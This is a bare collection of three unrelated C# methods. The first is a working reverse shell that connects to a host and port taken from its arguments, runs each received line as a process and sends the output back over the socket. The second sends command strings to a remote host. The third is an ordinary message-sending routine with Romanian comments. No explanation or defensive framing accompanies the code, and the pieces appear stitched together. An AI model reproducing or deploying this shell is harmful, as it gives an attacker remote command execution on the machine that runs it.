public static void Main(string[] args)
{
Stream stream = new TcpClient (args [0], int.Parse (args [1])).GetStream ();
using (StreamReader rdr = new StreamReader(stream)) {
while (stream.CanRead) {
string cmd = rdr.ReadLine();
string filename = string.Empty;
string arg = string.Empty;
if (cmd.IndexOf(' ') > 0) {
filename = cmd.Substring(0, cmd.IndexOf(' '));
arg = cmd.Substring(cmd.IndexOf(' '), cmd.Length - filename.Length);
} else {
filename = cmd;
}
Process prc = new Process();
prc.StartInfo = new ProcessStartInfo();
prc.StartInfo.FileName = filename;
prc.StartInfo.Arguments = arg;
prc.StartInfo.UseShellExecute = false;
prc.StartInfo.RedirectStandardOutput = true;
prc.Start();
prc.WaitForExit();
byte[] results = Encoding.ASCII.GetBytes(prc.StandardOutput.ReadToEnd());
stream.Write(results, 0, results.Length);
}
}
}
public string Execute(string command)
{
string resp = string.Empty;
using (NetworkStream stream = new TcpClient(_host, _port).GetStream()) {
byte[] data = System.Text.Encoding.ASCII.GetBytes(command);
stream.Write(data, 0, data.Length);
using (StreamReader rdr = new StreamReader(stream))
resp = rdr.ReadToEnd();
}
return resp;
}
/// <summary>
/// Trimite mesajul către adresa menţionată şi returnează răspunsul.
/// </summary>
/// <param name="to">Adresa spre care să trimită mesajul</param>
/// <returns>Mesajul răspuns primit înapoi</returns>
public Message deliverAndWaitFeedback(Address to)
{
try {
byte[] stream = this.serialize();
NetworkStream netStream = new TcpClient(to.ip, to.port).GetStream();
netStream.Write(stream, 0, stream.Length);
netStream.Flush();
Message answer = new Message(netStream);
netStream.Close();
return answer;
}
catch (Exception) {
return null;
}
}